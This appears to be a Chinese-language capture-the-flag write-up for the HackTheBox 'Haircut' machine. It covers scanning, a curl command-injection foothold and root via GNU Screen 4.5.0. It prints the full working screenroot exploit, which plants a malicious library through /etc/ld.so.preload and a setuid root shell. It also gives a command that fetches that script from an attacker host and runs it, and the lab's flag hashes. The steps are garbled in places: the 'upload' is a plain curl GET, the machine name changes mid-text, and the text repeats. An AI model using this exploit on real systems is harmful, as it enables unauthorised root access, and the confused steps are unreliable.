[Meachines] [Medium] Haircut Curl命令注入+TRP00F自动化权限提升+Screen4.5.0权限提升
字数 999 2025-08-19 12:41:32

HTB Hairdresser 渗透测试实战教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.24 --min-rate 1000 -sC -sV

扫描结果:

  • 开放端口:
    • 22/tcp: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
    • 80/tcp: nginx 1.10.0 (Ubuntu)

SSH密钥指纹:

2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)

1.2 目录爆破

使用Gobuster进行目录枚举:

gobuster dir --url http://10.10.10.24 --wordlist /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php -t 50

2. 初始访问 - CURL命令注入

2.1 漏洞利用

发现存在文件上传功能,利用CURL命令注入获取反向shell:

  1. 准备反向shell PHP文件(reverse.php)
  2. 上传文件:
curl http://10.10.10.24/uploads/rev.php
  1. 访问上传的文件触发反向shell

2.2 获取初始权限

成功获取shell后,查找user flag:

User.txt: 983f69a3c242dad8de31036c64b13fdf

3. 权限提升阶段

3.1 使用TRP00F自动化提权

TRP00F是一个自动化权限提升工具,使用方式:

python3 trp00f.py --lhost 10.10.16.24 --lport 10011 --rhost 10.10.16.24 --rport 10033 --pkhttpport 9090 --lxhttpport 9900

参数说明:

  • --lhost: 本地监听IP
  • --lport: 本地监听端口
  • --rhost: 目标主机IP
  • --rport: 目标主机端口
  • --pkhttpport: 用于PayloadKit的HTTP端口
  • --lxhttpport: 用于Linux Exploit的HTTP端口

3.2 Screen 4.5.0本地提权

发现目标系统安装了Screen 4.5.0版本,存在已知提权漏洞。

3.2.1 漏洞原理

该漏洞利用setuid screen程序通过覆盖/etc/ld.so.preload文件加载恶意共享库,从而获取root权限。

3.2.2 漏洞利用步骤

  1. 准备exploit脚本(scr.sh):
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.

echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."

# 创建恶意共享库
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF

export PATH=/usr/bin:$PATH
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c

# 创建rootshell
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF

gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
  1. 下载并执行exploit:
curl http://10.10.16.24/scr.sh -o /tmp/scr.sh; chmod +x /tmp/scr.sh
./scr.sh
  1. 成功获取root权限后,读取root flag:
Root.txt: 3ffde1490b04962112ab36628d2c4436

4. 关键点总结

  1. 信息收集:全面的端口扫描和目录枚举是渗透测试的基础
  2. 命令注入:利用CURL命令注入上传webshell是初始访问的关键
  3. 自动化工具:TRP00F可以自动化完成部分提权过程
  4. Screen漏洞:利用setuid程序和ld.so.preload机制是提权的核心
  5. 权限维持:创建具有SUID权限的rootshell是维持访问的有效方法

5. 防御建议

  1. 及时更新软件版本,修复已知漏洞
  2. 限制setuid程序的使用
  3. 对文件上传功能进行严格过滤
  4. 监控/etc/ld.so.preload文件的修改
  5. 使用最小权限原则运行服务
HTB Hairdresser 渗透测试实战教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 扫描结果: 开放端口: 22/tcp: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 80/tcp: nginx 1.10.0 (Ubuntu) SSH密钥指纹: 1.2 目录爆破 使用Gobuster进行目录枚举: 2. 初始访问 - CURL命令注入 2.1 漏洞利用 发现存在文件上传功能,利用CURL命令注入获取反向shell: 准备反向shell PHP文件(reverse.php) 上传文件: 访问上传的文件触发反向shell 2.2 获取初始权限 成功获取shell后,查找user flag: 3. 权限提升阶段 3.1 使用TRP00F自动化提权 TRP00F是一个自动化权限提升工具,使用方式: 参数说明: --lhost : 本地监听IP --lport : 本地监听端口 --rhost : 目标主机IP --rport : 目标主机端口 --pkhttpport : 用于PayloadKit的HTTP端口 --lxhttpport : 用于Linux Exploit的HTTP端口 3.2 Screen 4.5.0本地提权 发现目标系统安装了Screen 4.5.0版本,存在已知提权漏洞。 3.2.1 漏洞原理 该漏洞利用setuid screen程序通过覆盖 /etc/ld.so.preload 文件加载恶意共享库,从而获取root权限。 3.2.2 漏洞利用步骤 准备exploit脚本(scr.sh): 下载并执行exploit: 成功获取root权限后,读取root flag: 4. 关键点总结 信息收集 :全面的端口扫描和目录枚举是渗透测试的基础 命令注入 :利用CURL命令注入上传webshell是初始访问的关键 自动化工具 :TRP00F可以自动化完成部分提权过程 Screen漏洞 :利用setuid程序和ld.so.preload机制是提权的核心 权限维持 :创建具有SUID权限的rootshell是维持访问的有效方法 5. 防御建议 及时更新软件版本,修复已知漏洞 限制setuid程序的使用 对文件上传功能进行严格过滤 监控/etc/ld.so.preload文件的修改 使用最小权限原则运行服务